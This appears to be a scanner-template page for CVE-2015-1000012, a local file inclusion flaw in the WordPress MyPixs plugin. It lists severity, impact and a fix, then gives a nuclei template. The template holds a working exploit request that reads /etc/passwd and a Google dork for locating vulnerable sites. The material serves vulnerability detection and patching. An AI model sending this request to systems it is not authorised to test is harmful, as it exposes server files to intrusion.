WordPress MyPixs <=0.3 - Local File Inclusion

highseverity

7.5CVSS score

9.3%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WordPress MyPixs 0.3 and prior contains a local file inclusion vulnerability.

Impact

An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or gain unauthorized access to the server.

Fix

Update to the latest version of the MyPixs plugin (>=0.4) or apply the vendor-provided patch to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/mypixs/mypixs/downloadpage.php?url=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2015-1000012 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-1000012

info:
  name: WordPress MyPixs <=0.3 - Local File Inclusion
  author: daffainfo
  severity: high
  description: WordPress MyPixs 0.3 and prior contains a local file inclusion vulnerability.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or gain unauthorized access to the server.
  remediation: |
    Update to the latest version of the MyPixs plugin (>=0.4) or apply the vendor-provided patch to fix the LFI vulnerability.
  reference:
    - https://wpscan.com/vulnerability/24b83ce5-e3b8-4262-b087-a2dfec014985
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1000012
    - http://www.vapidlabs.com/advisory.php?v=154
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1000012
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-1000012
    cwe-id: CWE-200
    epss-score: 0.09325
    epss-percentile: 0.95421
    cpe: cpe:2.3:a:mypixs_project:mypixs:0.3:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: mypixs_project
    product: mypixs
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/mypixs"
  tags: cve,cve2015,wordpress,wp-plugin,lfi,wpscan,mypixs_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/mypixs/mypixs/downloadpage.php?url=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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